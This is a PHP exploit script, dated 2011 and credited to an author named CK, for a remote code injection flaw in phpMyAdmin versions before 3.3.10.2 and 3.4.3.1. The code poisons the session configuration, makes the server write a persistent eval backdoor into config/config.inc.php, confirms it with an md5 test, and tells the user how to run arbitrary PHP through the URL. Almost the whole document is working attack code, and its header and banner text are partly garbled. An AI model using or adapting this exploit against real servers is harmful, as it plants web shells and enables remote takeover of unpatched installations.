<？PHP / *
利用：phpMyAdmin 3.x Swekey 远程代码注入漏洞
日期：2011年7月9日
作者：CK
版本：phpMyAdmin<3.3.10.2 | |phpMyAdmin 3.4.3.1
咨询：http://hi.baidu.com/chinacck/blog/item/d93b186c82a5a45eebf8f8b8.html
详情：http://hi.baidu.com/chinacck/home
echo php_sapi_name()!=='cli'?'<pre>':'';?>
.
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/ \ ( )| |) \ / | |\ /| | | | | | | | (__)
( ______ / | |_____( ______ | | \/ | | __ __ | |__| | ___| | __ ___________ __ __ _____
\| | \ \ | | | |)| | \ \ | | | | | | | | | | | | / / | | | | | | | | | | | | | |
| |_/__/ |__| |__| | |_/__/ |__| |__| |__|__| | |__| [][]|[]__[]|[][]|_[] |_[][]|_[] [][][]__| |__|
==|__|=================|__|=========================|__|======[]====[][]=|[]|[]=[]===[]==[]=[]===[]==============
phpMyAdmin < 3.3.10.2 || phpMyAdmin < 3.4.3.1 [][] [] [][] [] [] [] [] []
远程代码注入 [] [][] [] [] [] [] [] []
http://hi.baidu.com/chinacck/home [][] [] [] [] [][] [][] [] []
_ _ ___ __ ____ __ ___ ___
| |-| || _ |\ /\ /| _ || )
|_|-|_||_|_|/_._\/_._\|___||_|_\
___ ___ ___ _ _ ___ ___ __ __
( < | [_ / /| || || )(_)| |\ | /
>__)|_[_ \__\|____||_|_\|_| |_| |_|
<?php echo php_sapi_name()!=='cli'?'</pre>':'';
if(php_sapi_name()==='cli'){
if(!isset($argv[1])){
output(" Usage\n ".$argv[0]." http://www.sh3llc0de.com/phpMyAdmin-3.3.9.2");
killme();
}
$pmaurl = $argv[1];
}else{
$pmaurl = isset($_REQUEST['url'])?$_REQUEST['url']:'';
}
$code = 'foreach($_GET as $k=>$v)if($k==="eval")eval($v);';
$cookie = null;
$token = null;
if(!function_exists('curl_init')){
output('[!] Fatal error. Need cURL!');
killme();
}
$ch = curl_init();
$debug = 0;
if(php_sapi_name()!=='cli'){
?>
<form method=post>
URL: <input name=url value="<?php echo htmlspecialchars($pmaurl);?>"> Example: <A href="http://localhost:8080/phpMyAdmin-3.3.9.2
http://localhost:8080/phpMyAdmin-3.3.9.2<br/>
<input name=submit type=submit value=?>
</form>
<pre>
<?php
if(!isset($_REQUEST['submit']))killme(true);
}
output("[i] Running...");
// Start a session and get a token
curl_setopt_array($ch, array(
CURLOPT_URL => $pmaurl.'/setup/index.php',
CURLOPT_HEADER => 1,
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_TIMEOUT => 4,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
));
output("[*] Contacting server to retrive session cookie and token.");
$result = curl_exec($ch);
if(404 == curl_getinfo($ch, CURLINFO_HTTP_CODE)){
output("[!] Fail. $pmaurl/setup/index.php returned 404. The host is not vulnerable or there is a problem with the supplied url.");
killme();
}
if(!$result){
output("[!] cURL error:".curl_error($ch));
killme();
}
if(false !== strpos($result, 'Cannot load or save configuration')){
output("[!] Fail. Host not vulnerable. Web server writable folder $pmaurl/config/ does not exsist.");
killme();
}
// Extract cookie
preg_match('/phpMyAdmin=([^;]+)/', $result, $matches);
$cookie = $matches[1];
output("[i] Cookie:".$cookie);
// Extract token
preg_match('/(token=|token" value=")([0-9a-f]{32})/', $result, $matches);
$token = $matches[2];
output("[i] Token:".$token);
// Poison _SESSION variable
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/?_SESSION[ConfigFile][Servers][*/'.urlencode($code).'/*][port]=0&session_to_unset=x&token='.$token);
curl_setopt($ch, CURLOPT_COOKIE, 'phpMyAdmin='.$cookie);
output("[*] Contacting server to inject code into the _SESSION[ConfigFile][Servers] array.");
if(!$result = curl_exec($ch)){
output("[!] cURL error:".curl_error($ch));
killme();
}
//echo htmlspecialchars($result,ENT_QUOTES);
// Save file
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/setup/config.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'submit_save=Save&token='.$token);
output("[*] Contacting server to make it save the injected code to a file.");
if(!$result = curl_exec($ch)){
output("[!] cURL error:".curl_error($ch));
killme();
}
//echo htmlspecialchars($result,ENT_QUOTES);
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/config/config.inc.php?eval=echo%20md5(123);');
curl_setopt($ch, CURLOPT_POST, 0);
output("[*] Contacting server to test if the injected code executes.");
if(!$result = curl_exec($ch)){
output("[!] cURL error:".curl_error($ch));
killme();
}
if(preg_match('/202cb962ac59075b964b07152d234b70/', $result)){
output("[!] Code injection successfull. This instance of phpMyAdmin is vulnerable!");
output("[+] Use your browser to execute PHP code like this $pmaurl/config/config.inc.php?eval=echo%20'test';");
}else{
output("[!] Code injection failed. This instance of phpMyAdmin does not apear to be vulnerable.");
}
curl_close($ch);
function output($msg){
echo php_sapi_name()!=='cli'?htmlspecialchars("$msg\n",ENT_QUOTES):"$msg\n";
flush();
}
function killme(){
output("[*] Exiting...");
echo php_sapi_name()!=='cli'?'<pre>':'';
die();
}
echo php_sapi_name()!=='cli'?'<pre>':'';?>
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